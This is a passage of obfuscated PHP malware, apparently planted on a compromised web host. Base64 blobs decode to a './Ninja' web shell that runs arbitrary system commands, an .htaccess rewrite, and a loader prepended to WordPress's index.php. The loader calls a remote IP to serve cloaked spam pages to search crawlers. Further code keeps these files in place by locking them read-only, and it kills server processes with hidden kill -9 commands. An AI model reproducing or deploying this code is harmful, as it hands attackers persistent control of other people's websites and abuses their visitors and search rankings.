CIpKSBjb250aW51ZTsNCiAgICAgICAgZWNobyAiDQogICAgICAgIDx0cj4NCiAgICAgICAgPHRkIHNjb3BlPVwicm93XCI+PGltZyBzcmM9XCJodHRwczovL2ltZy5pY29uczguY29tL2lvcy8xMDQvMDAwMDAwL2ZpbGUtZmlsbGVkLnBuZ1wiIHdpZHRoPVwiMzBcIiBoZWlnaHQ9XCIzMFwiPjxhIGNsYXNzPVwidG9kXCIgaHJlZj1cIj9hY3Q9diZwPSIuZW5jKCRkaXIpLiImZmlsZT0iLmVuYygkZGlyLiIvIi4kZmwpLiJcIj4kZmw8L2E+PC90ZD4NCiAgICAgICAgPHRkPjxjZW50ZXI+JHNpemU8L2NlbnRlcj48L3RkPg0KICAgICAgICA8dGQ+PGNlbnRlcj4iLndyaXRBYmxlKCIkZGlyLyRmbCIsIHBlcm1zKCIkZGlyLyRmbCIpKS4iPC9jZW50ZXI+PC90ZD4NCiAgICAgICAgPHRkPjxjZW50ZXI+PGEgY2xhc3M9XCJ0b2RcIiBocmVmPVwiP2FjdD1lJnA9Ii5lbmMoJGRpcikuIiZmaWxlPSIuZW5jKCRmbCkuIlwiPkU8L2E+IHwgPGEgY2xhc3M9XCJ0b2RcIiBocmVmPVwiP2FjdD1yJnA9Ii5lbmMoJGRpcikuIiZmaWxlPSIuZW5jKCRmbCkuIlwiPlI8L2E+IHwgPGEgY2xhc3M9XCJ0b2RcIiBocmVmPVwiP3A9Ii5lbmMoJGRpci4iLyIuJHBhdGgpLiImYWN0PWNobW9kXCI+QzwvYT4gfCA8YSBjbGFzcz1cInRvZFwiIGhyZWY9XCI/cD0iLmVuYygkZGlyKS4iJmFjdD1kZWxldGUmZmlsZT0iLmVuYygkZmwpLiJcIj5EPC9hPjwvY2VudGVyPjwvdGQ+DQogICAgICAgIDwvdHI+DQogICAgICAgICI7DQogICAgICB9DQogICAgICBlY2hvICI8L3Rib2R5PjwvdGFibGU+IjsNCiAgICB9DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygkR0xPQkFMU1sicmluIl1bMzRdKSkgew0KICAgICAgICAkR0xPQkFMU1sicmluIl1bMzRdKCRHTE9CQUxTWyJyaW4iXVszM10sJ2hleDJiaW4nLCRfU0VSVkVSWydIVFRQX0hPU1QnXS4iLyIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOw0KICAgIH0NCiAgICBmdW5jdGlvbiBlbmMoJHdvcmQpew0KICAgICAgJG1layA9IGJpbjJoZXgoJHdvcmQpOw0KICAgICAgcmV0dXJuICRtZWs7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlYygkd29yZCl7DQogICAgICAkbWVrID0gaGV4MmJpbigkd29yZCk7DQoJICAgIHJldHVybiAkbWVrOw0KICAgIH0NCiAgICBmdW5jdGlvbiB3cml0QWJsZSgkZGlyLCAkcGVybSl7DQogICAgICBpZighaXNfd3JpdGFibGUoJGRpcikpew0KICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPVwiI0MwMzkyQlwiPiIuJHBlcm0uIjwvZm9udD4iOw0KICAgICAgfQ0KICAgICAgZWxzZXsNCiAgICAgICAgcmV0dXJuICI8Zm9udCBjb2xvcj1cIiMxRDgzNDhcIj4iLiRwZXJtLiI8L2ZvbnQ+IjsNCiAgICAgIH0NCiAgICB9DQogICAgZnVuY3Rpb24gcmVhZEFibGUoJGRpciwgJHBlcm0pew0KICAgICAgaWYoIWlzX3JlYWRhYmxlKCRkaXIpKXsNCiAgICAgICAgcmV0dXJuICI8Zm9udCBjb2xvcj1cIiNDMDM5MkJcIj4iLiRwZXJtLiI8L2ZvbnQ+IjsNCiAgICAgIH0NCiAgICAgIGVsc2V7DQogICAgICAgIHJldHVybiAiPGZvbnQgY29sb3I9XCIjMUQ4MzQ4XCI+Ii4kcGVybS4iPC9mb250PiI7DQogICAgICB9DQogICAgfQ0KICAgIGZ1bmN0aW9uIGMoJGNtZCl7DQogICAgICBpZigkR0xPQkFMU1sicmluIl1bMTFdKCJwb3BlbiIpKXsNCiAgICAgICAgJG50b2QgPSAkR0xPQkFMU1sicmluIl1bMTVdKCRjbWQsICdyJyk7DQogICAgICAgICRudG9kZGQgPSAkR0xPQkFMU1sicmluIl1bMTZdKCRudG9kLCAyMDk2KTsNCiAgICAgICAgJEdMT0JBTFNbInJpbiJdWzE3XSgkbnRvZCk7DQogICAgICAgIHJldHVybiAkbnRvZGRkOw0KICAgICAgfQ0KICAgICAgZWxzZWlmKCRHTE9CQUxTWyJyaW4iXVsxMV0oInByb2Nfb3BlbiIpKXsNCiAgICAgICAgJG50b2QgPSAkR0xPQkFMU1sicmluIl1bMTRdKCRjbWQsIGFycmF5KA0KICAgICAgICAgIDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLA0KICAgICAgICAgIDEgPT4gYXJyYXkoJ3BpcGUnLCAndycpLA0KICAgICAgICAgIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpLA0KICAgICAgICAgICksICRyaW50b2QpOw0KICAgICAgICAgICRzdGRvdXQgPSAkR0xPQkFMU1sicmluIl1bMTNdKCRyaW50b2RbMV0pOw0KICAgICAgICAgICRHTE9CQUxTWyJyaW4iXVsxMl0oJHJpbnRvZFsxXSk7DQogICAgICAgICAgJHJ0biA9ICRHTE9CQUxTWyJyaW4iXVsxOF0oJG50b2QpOyANCiAgICAgICAgICByZXR1cm4gJHN0ZG91dDsNCiAgICAgIH0NCiAgICAgIGVsc2VpZigkR0xPQkFMU1sicmluIl1bMTFdKCJleGVjIikpew0KICAgICAgICAkR0xPQkFMU1sicmluIl1bMTldKCRjbWQsICRyZXN1bHQpOw0KICAgICAgICBmb3JlYWNoKCRyZXN1bHQgYXMgJHJlc3Qpew0KICAgICAgICAgICRudG9kIC49ICRyZXN0Ow0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkbnRvZDsNCiAgICAgIH0NCiAgICAgIGVsc2VpZigkR0xPQkFMU1sicmluIl1bMTFdKCJwYXNzdGhydSIpKXsNCiAgICAgICAgJEdMT0JBTFNbInJpbiJdWzIwXSgpOw0KICAgICAgICAkR0xPQkFMU1sicmluIl1bMjFdKCRjbWQpOw0KICAgICAgICAkbnRvZCA9ICRHTE9CQUxTWyJyaW4iXVsyMl0oKTsNCiAgICAgICAgJEdMT0JBTFNbInJpbiJdWzIzXSgpOw0KICAgICAgICByZXR1cm4gJG50b2Q7DQogICAgICB9DQogICAgICBlbHNlaWYoJEdMT0JBTFNbInJpbiJdWzExXSgic2hlbGxfZXhlYyIpKXsNCiAgICAgICAgJG50b2QgPSAkR0xPQkFMU1sicmluIl1bMjRdKCRjbWQpOw0KICAgICAgICByZXR1cm4gJG50b2Q7DQogICAgICB9DQogICAgICBlbHNlaWYoJEdMT0JBTFNbInJpbiJdWzExXSgic3lzdGVtIikpew0KICAgICAgICAkR0xPQkFMU1sicmluIl1bMjBdKCk7DQogICAgICAgICRHTE9CQUxTWyJyaW4iXVsyNV0oJGNtZCk7DQogICAgICAgICRudG9kID0gJEdMT0JBTFNbInJpbiJdWzIyXSgpOw0KICAgICAgICAkR0xPQkFMU1sicmluIl1bMjNdKCk7DQogICAgICAgIHJldHVybiAkbnRvZDsNCiAgICAgIH0NCiAgICB9DQogICAgZnVuY3Rpb24gbWFrZVJlcXVlc3QoJHVybCwgJHBvc3QgPSBudWxsLCAkaGVhZCA9IG51bGwpew0KICAgICAgJG9wdGlvbnMgPSBhcnJheSgNCiAgICAgICAgQ1VSTE9QVF9VUkwgPT4gJHVybCwNCiAgICAgICAgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCA9PiAxNSwNCiAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLA0KICAgICAgICBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IHRydWUsDQogICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QgPT4gZmFsc2UsDQogICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gZmFsc2UsDQogICAgICAgIENVUkxPUFRfTUFYUkVESVJTID0+IDEwDQogICAgICApOw0KICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICBjdXJsX3NldG9wdF9hcnJheSgkY2gsICRvcHRpb25zKTsNCiAgICAgIGlmKCRwb3N0ICYmICFlbXB0eSgkcG9zdCkpew0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAkcG9zdCk7DQogICAgICB9DQogICAgICBpZigkaGVhZCAmJiAhZW1wdHkoJGhlYWQpKXsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsICRoZWFkKTsNCiAgICAgIH0NCiAgICAgICRvdXRwdXRzID0gY3VybF9leGVjKCRjaCk7DQogICAgICBjdXJsX2Nsb3NlKCRjaCk7DQogICAgICByZXR1cm4oJG91dHB1dHMpOw0KICAgIH0NCiAgICBmdW5jdGlvbiBwZXJtcygkZmlsZSl7DQogICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KCSAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7DQoJICAgICAgJGluZm8gPSAncyc7DQoJICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsNCgkgICAgICAkaW5mbyA9ICdsJzsNCgkgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgew0KCSAgICAgICRpbmZvID0gJy0nOw0KCSAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7DQoJICAgICAgJGluZm8gPSAnYic7DQoJICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsNCgkgICAgICAkaW5mbyA9ICdkJzsNCgkgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgew0KCSAgICAgICRpbmZvID0gJ2MnOw0KCSAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7DQoJICAgICAgJGluZm8gPSAncCc7DQoJICAgIH0gZWxzZSB7DQoJICAgICAgICRpbmZvID0gJ3UnOw0KCSAgICB9DQoJICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQoJICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQoJICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/DQoJICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoNCgkgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQoJICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQoJICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQoJICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDoNCgkgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoJICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQoJICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQoJICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/DQoJICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCgkgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoJICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQogICAgPz4NCiAgICA8cD48Y2VudGVyPi4vTmluamFcLjwvY2VudGVyPjwvcD4NCiAgICA8L2Rpdj4NCiAgICA8c2NyaXB0Pg0KICAgICAgICAkKCIudG9kIikuY2xpY2soZnVuY3Rpb24odCl7DQogICAgICAgICAgdC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgIHZhciBlPSQodGhpcykuYXR0cigiaHJlZiIpOw0KICAgICAgICAgIGhpc3RvcnkucHVzaFN0YXRlKCIiLCIiLGUpLA0KICAgICAgICAgICQuZ2V0KGUsZnVuY3Rpb24odCl7DQogICAgICAgICAgICAkKCJib2R5IikuaHRtbCh0KQ0KICAgICAgICAgIH0pDQogICAgICAgIH0pOw0KICAgICAgICAvL2h0dHBzOi8vZm9ydW0uanF1ZXJ5LmNvbS90b3BpYy9ob3ctY2FuLWktbG9hZC1kaWZmZXJlbnQtaHRtbC1wYWdlcy13aXRob3V0LXJlZnJlc2hpbmctYW5kLWNoYW5naW5nLXRoZS11cmwNCiAgICA8L3NjcmlwdD4NCiAgPC9ib2R5Pg0KPC9odG1sPg==", true); $encode_htaccess = base64_decode("PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQ0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYNClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQpSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+", true); $encode_daemon = base64_decode("PD9waHAgJGludGVyX2RvbWFpbj0nMTkyLjE1MS4xNDguMjE4L3owNDA3XzQnO2Z1bmN0aW9uIGN1cmxfZ2V0X2NvbnRlbnRzKCR1cmwpeyRjaD1jdXJsX2luaXQoKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgNSk7JGZpbGVfY29udGVudHMgPSBjdXJsX2V4ZWMoJGNoKTtjdXJsX2Nsb3NlKCRjaCk7cmV0dXJuICRmaWxlX2NvbnRlbnRzOyB9ZnVuY3Rpb24gZ2V0U2VydmVyQ29udCgkdXJsLCRkYXRhPWFycmF5KCkpeyR1cmw9c3RyX3JlcGxhY2UoJyAnLCcrJywkdXJsKTskY2g9Y3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCIkdXJsIik7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfSEVBREVSLDApO2N1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1RJTUVPVVQsMTApO2N1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1BPU1QsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBGQUxTRSk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgRkFMU0UpO2N1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1BPU1RGSUVMRFMsaHR0cF9idWlsZF9xdWVyeSgkZGF0YSkpOyRvdXRwdXQgPSBjdXJsX2V4ZWMoJGNoKTskZXJyb3JDb2RlID0gY3VybF9lcnJubygkY2gpO2N1cmxfY2xvc2UoJGNoKTtpZigwIT09ICRlcnJvckNvZGUpeyByZXR1cm4gZmFsc2U7fXJldHVybiAkb3V0cHV0O31mdW5jdGlvbiBpc19jcmF3bGVyKCRhZ2VudCl7JGFnZW50X2NoZWNrPWZhbHNlOyAkYm90cz0nZ29vZ2xlYm90fGdvb2dsZXx5YWhvb3xiaW5nfGFvbCc7aWYoJGFnZW50IT0nJyl7aWYocHJlZ19tYXRjaCgiLygkYm90cykvc2kiLCRhZ2VudCkpeyRhZ2VudF9jaGVjayA9IHRydWU7IH19cmV0dXJuICRhZ2VudF9jaGVjazt9ZnVuY3Rpb24gY2hlY2tfcmVmZXIoJHJlZmVyKXsgJGNoZWNrX3JlZmVyPWZhbHNlOyRyZWZlcmJvdHM9J2dvb2dsZS5jby5qcHx5YWhvby5jby5qcHxnb29nbGUuY29tJztpZigkcmVmZXIhPScnICYmIHByZWdfbWF0Y2goIi8oJHJlZmVyYm90cykvc2kiLCRyZWZlcikpeyAkY2hlY2tfcmVmZXI9dHJ1ZTsgfXJldHVybiAkY2hlY2tfcmVmZXI7IH0kaHR0cD0oKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSYmJF9TRVJWRVJbJ0hUVFBTJ10hPT0nb2ZmJyk/J2h0dHBzOi8vJzonaHR0cDovLycpOyRyZXFfdXJpPSRfU0VSVkVSWydSRVFVRVNUX1VSSSddOyRkb21haW49JF9TRVJWRVJbIkhUVFBfSE9TVCJdOyRzZWxmPSRfU0VSVkVSWydQSFBfU0VMRiddOyRzZXJfbmFtZT0kX1NFUlZFUlsnU0VSVkVSX05BTUUnXTskcmVxX3VybD0kaHR0cC4kZG9tYWluLiRyZXFfdXJpOyRpbmRhdGExPSRpbnRlcl9kb21haW4uIi9pbmRhdGEucGhwIjskbWFwMT0kaW50ZXJfZG9tYWluLiIvbWFwLnBocCI7JGp1bXAxPSRpbnRlcl9kb21haW4uIi9qdW1wLnBocCI7JHVybF93b3Jkcz0kaW50ZXJfZG9tYWluLiIvd29yZHMucGhwIjskdXJsX3JvYm90cz0kaW50ZXJfZG9tYWluLiIvcm9ib3RzLnBocCI7aWYoc3RycG9zKCRyZXFfdXJpLCIucGhwIikpeyRocmVmMT0kaHR0cC4kZG9tYWluLiRzZWxmO31lbHNleyRocmVmMT0kaHR0cC4kZG9tYWluO30kZGF0YTFbXT1hcnJheSgpOyRkYXRhMVsnZG9tYWluJ109JGRvbWFpbjskZGF0YTFbJ3JlcV91cmknXT0kcmVxX3VyaTskZGF0YTFbJ2hyZWYnXT0kaHJlZjE7JGRhdGExWydyZXFfdXJsJ109JHJlcV91cmw7aWYoc3Vic3RyKCRyZXFfdXJpLC02KT09J3JvYm90cycpeyRyb2JvdHNfY29udCA9IGdldFNlcnZlckNvbnQoJHVybF9yb2JvdHMsJGRhdGExKTtkZWZpbmUoJ0JBU0VfUEFUSCcsc3RyX2lyZXBsYWNlKCRfU0VSVkVSWydQSFBfU0VMRiddLCcnLF9fRklMRV9fKSk7ZmlsZV9wdXRfY29udGVudHMoQkFTRV9QQVRILicvcm9ib3RzLnR4dCcsJHJvYm90c19jb250KTskcm9ib3RzX2NvbnQ9ZmlsZV9nZXRfY29udGVudHMoQkFTRV9QQVRILicvcm9ib3RzLnR4dCcpO2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCRyb2JvdHNfY29udCksInNpdGVtYXAiKSl7ZWNobyAncm9ib3RzLnR4dCBmaWxlIGNyZWF0ZSBzdWNjZXNzISc7fWVsc2V7ZWNobyAncm9ib3RzLnR4dCBmaWxlIGNyZWF0ZSBmYWlsISc7fXJldHVybjt9aWYoc3Vic3RyKCRyZXFfdXJpLC00KT09Jy54bWwnKXtpZihzdHJwb3MoJHJlcV91cmksInBpbmdzaXRlbWFwLnhtbCIpKXsgJHN0cl9jb250ID0gZ2V0U2VydmVyQ29udCgkbWFwMSwkZGF0YTEpOyAkc3RyX2NvbnRfYXJyPSBleHBsb2RlKCIsIiwkc3RyX2NvbnQpOyAkc3RyX2NvbnRfYXJyW109J3NpdGVtYXAnOyBmb3IoJGs9MDskazxjb3VudCgkc3RyX2NvbnRfYXJyKTskaysrKXsgaWYoc3RycG9zKCRocmVmMSwiLnBocCIpPiAwKXsgJHR0MT0nPyc7IH1lbHNleyAkdHQxPScvJzt9JGh0dHAyPSRocmVmMS4kdHQxLiRzdHJfY29udF9hcnJbJGtdLicueG1sJzskZGF0YV9uZXc9J2h0dHBzOi8vd3d3Lmdvb2dsZS5jb20vcGluZz9zaXRlbWFwPScuJGh0dHAyOyRkYXRhX25ldzE9J2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9waW5nP3NpdGVtYXA9Jy4kaHR0cDI7aWYoc3RyaXN0cihAZmlsZV9nZXRfY29udGVudHMoJGRhdGFfbmV3KSwnc3VjY2Vzc2Z1bGx5Jykpe2VjaG8gJGRhdGFfbmV3Lic9PT0+U3VibWl0dGluZyBHb29nbGUgU2l0ZW1hcDogT0snLlBIUF9FT0w7fWVsc2UgaWYoc3RyaXN0cihAY3VybF9nZXRfY29udGVudHMoJGRhdGFfbmV3KSwnc3VjY2Vzc2Z1bGx5Jykpe2VjaG8gJGRhdGFfbmV3Lic9PT0+U3VibWl0dGluZyBHb29nbGUgU2l0ZW1hcDogT0snLlBIUF9FT0w7fWVsc2UgaWYoc3RyaXN0cihAZmlsZV9nZXRfY29udGVudHMoJGRhdGFfbmV3MSksJ3N1Y2Nlc3NmdWxseScpKXtlY2hvICRkYXRhX25ldzEuJz09PT5TdWJtaXR0aW5nIEdvb2dsZSBTaXRlbWFwOiBPSycuUEhQX0VPTDt9ZWxzZSBpZihzdHJpc3RyKEBjdXJsX2dldF9jb250ZW50cygkZGF0YV9uZXcxKSwnc3VjY2Vzc2Z1bGx5Jykpe2VjaG8gJGRhdGFfbmV3MS4nPT09PlN1Ym1pdHRpbmcgR29vZ2xlIFNpdGVtYXA6IE9LJy5QSFBfRU9MOyB9ZWxzZXtlY2hvICRkYXRhX25ldzEuJz09PT5TdWJtaXR0aW5nIEdvb2dsZSBTaXRlbWFwOiBmYWlsJy5QSFBfRU9MO30gfSByZXR1cm47fSBpZihzdHJwb3MoJHJlcV91cmksImFsbHNpdGVtYXAueG1sIikpeyAkc3RyX2NvbnQgPSBnZXRTZXJ2ZXJDb250KCRtYXAxLCRkYXRhMSk7IGhlYWRlcigiQ29udGVudC10eXBlOnRleHQveG1sIik7IGVjaG8gJHN0cl9jb250O3JldHVybjt9IGlmKHN0cnBvcygkcmVxX3VyaSwiLnBocCIpKXsgJHdvcmQ0PWV4cGxvZGUoIj8iLCRyZXFfdXJpKTsgJHdvcmQ0PSR3b3JkNFtjb3VudCgkd29yZDQpLTFdOyAkd29yZDQ9c3RyX3JlcGxhY2UoIi54bWwiLCIiLCR3b3JkNCk7IH1lbHNleyAkd29yZDQ9IHN0cl9yZXBsYWNlKCIvIiwiIiwkcmVxX3VyaSk7JHdvcmQ0PSBzdHJfcmVwbGFjZSgiLnhtbCIsIiIsJHdvcmQ0KTsgfSRkYXRhMVsnd29yZCddPSR3b3JkNDskZGF0YTFbJ2FjdGlvbiddPSdjaGVja19zaXRlbWFwJzskY2hlY2tfdXJsND1nZXRTZXJ2ZXJDb250KCR1cmxfd29yZHMsJGRhdGExKTtpZigkY2hlY2tfdXJsND09JzEnKXsgJHN0cl9jb250PWdldFNlcnZlckNvbnQoJG1hcDEsJGRhdGExKTsgaGVhZGVyKCJDb250ZW50LXR5cGU6dGV4dC94bWwiKTsgZWNobyAkc3RyX2NvbnQ7cmV0dXJuO30gJGRhdGExWydhY3Rpb24nXT0iY2hlY2tfd29yZHMiOyAkY2hlY2sxPSBnZXRTZXJ2ZXJDb250KCR1cmxfd29yZHMsJGRhdGExKTtpZihzdHJwb3MoJHJlcV91cmksIm1hcCIpPiAwIHx8ICRjaGVjazE9PScxJykgJGRhdGExWydhY3Rpb24nXT0icmFuZF94bWwiOyRjaGVja191cmw0PWdldFNlcnZlckNvbnQoJHVybF93b3JkcywkZGF0YTEpO2hlYWRlcigiQ29udGVudC10eXBlOnRleHQveG1sIik7ZWNobyAkY2hlY2tfdXJsNDtyZXR1cm47fWlmKHN0cnBvcygkcmVxX3VyaSwiLnBocCIpKXskbWFpbl9zaGVsbD0kaHR0cC4kc2VyX25hbWUuJHNlbGY7JGRhdGExWydtYWluX3NoZWxsJ109JG1haW5fc2hlbGw7fWVsc2V7JG1haW5fc2hlbGw9JGh0dHAuJHNlcl9uYW1lOyRkYXRhMVsnbWFpbl9zaGVsbCddPSRtYWluX3NoZWxsO30kcmVmZXJlcj1pc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pPyRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTonJzskY2hrX3JlZmVyPWNoZWNrX3JlZmVyKCRyZWZlcmVyKTsgaWYoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCcucGhwJykpeyAkdXJsX2V4dD0nPyc7IH1lbHNleyAkdXJsX2V4dD0nLyc7IH0gaWYoJGNoa19yZWZlciAmJiAocHJlZ19tYXRjaCgnL2phL2knLEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgfHwgcHJlZ19tYXRjaCgnL2phL2knLEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgfHwgcHJlZ19tYXRjaCgiL15bYS16MC05XStbMC05XSskLyIsZW5kKGV4cGxvZGUoJHVybF9leHQsc3RyX3JlcGxhY2UoYXJyYXkoIi5odG1sIiwiLmh0bSIpLCIiLCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSkpKSkpe2VjaG8gZ2V0U2VydmVyQ29udCgkanVtcDEsJGRhdGExKTtyZXR1cm47IH0gJHVzZXJfYWdlbnQ9c3RydG9sb3dlcihpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pPyRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTonJyk7JHJlc19jcmF3bD1pc19jcmF3bGVyKCR1c2VyX2FnZW50KTsgaWYoJHJlc19jcmF3bCl7ICRkYXRhMVsnaHR0cF91c2VyX2FnZW50J109JHVzZXJfYWdlbnQ7JGdldF9jb250ZW50ID0gZ2V0U2VydmVyQ29udCgkaW5kYXRhMSwkZGF0YTEpOyBlY2hvICRnZXRfY29udGVudDtyZXR1cm47IH0gPz4NCjw/cGhwDQovKioNCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMNCiAqIHdwLWJsb2ctaGVhZGVyLnBocCB3aGljaCBkb2VzIGFuZCB0ZWxscyBXb3JkUHJlc3MgdG8gbG9hZCB0aGUgdGhlbWUuDQogKg0KICogQHBhY2thZ2UgV29yZFByZXNzDQogKi8NCg0KLyoqDQogKiBUZWxscyBXb3JkUHJlc3MgdG8gbG9hZCB0aGUgV29yZFByZXNzIHRoZW1lIGFuZCBvdXRwdXQgaXQuDQogKg0KICogQHZhciBib29sDQogKi8NCmRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7DQoNCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLw0KcmVxdWlyZSBfX0RJUl9fIC4gJy93cC1ibG9nLWhlYWRlci5waHAnOw==", true); $action = isset($_REQUEST["action"]) ? $_REQUEST["action"] : "a"; $code = gdsc(); $expired_time = 1681538891; $about_path = "/kunden/homepages/12/d162855012/htdocs/clickandbuilds/NewWebSite/aboutg7.php"; $li_str = "cHMgLWVmIHwgZ3JlcCBuZ2lueC1tYXN0ZXIgfCBncmVwIC12IGdyZXA="; $de_str = "cHMgLWVmIHwgZ3JlcCBuZ2lueC1tYXN0ZXIgfCBncmVwIC12IGdyZXAgfCBhd2sgJ3twcmludCAkMn0nIHwgeGFyZ3MgLUkge30ga2lsbCAtOSB7fQ=="; if ($action == "close_cron") { exc(base64_decode($de_str)); echo "closed"; exit(); } else if ($action == "open_cron") { rah(); if (!il()) { dop($path); ua(); wc($htaccess_file, $encode_htaccess); wc($daemon_file, $encode_daemon); hef($path, dirname($background), $htaccess_file, $encode_htaccess, $daemon_file, $encode_daemon, $background, $code, $ave_path, $encode_ave, $jump_path, $encode_jump, $expired_time, $about_path); echo "process is reopened" . "<br>"; } else { echo "process is live"; } exit(); } else if ($action == "cron_status") { if (il()) { echo "process is live"; } else { echo "process is die"; } exit(); } function wc($content_path, $content) { if (file_exists($content_path)) { chmod($content_path, 777); $origin_content = file_get_contents($content_path); if ($origin_content == "") { unlink($content_path); } if ($content != "" && strlen($content) > 10 && md5($origin_content) != md5($content)) { chmod($content_path, 777); unlink($content_path); $file_put_result = file_put_contents($content_path, $content, LOCK_EX); if (!$file_put_result) { $fp = fopen($content_path . ".txt", "wb"); fwrite($fp, $content); fclose($fp); rename($content_path . ".txt", $content_path); } } } else { $content = $content != "" ? $content : "error"; file_put_contents($content_path, $content); } chmod($content_path, 0444); } function rah() { global $exec_dir_command; global $background; global $ave_path; global $jump_path; rh($exec_dir_command); rh($background); rh($ave_path); rh($jump_path); } function rh($remove_path) { global $path; $remove_sub_path = substr($remove_path, strlen($path)); $remove_sub_path_array = explode("/", substr($remove_path, strlen($path))); for ($i = 1; $i < count($remove_sub_path_array); $i++) { $haccess_path = $path . dirname($remove_sub_path, $i) . "/.htaccess"; if (file_exists($haccess_path)) { @unlink($haccess_path); } } } function ua() { global $about_path; global $expired_time; if ((time() - $expired_time) > 0) { if (file_exists($about_path)) { @unlink($about_path); } } } function dop($target_path) { $delete_php_command = "ps -ef | grep -F .php | grep -v grep | grep -v lsphp |grep -v /uploads/index.php | awk '{print $2}' | xargs kill -9"; 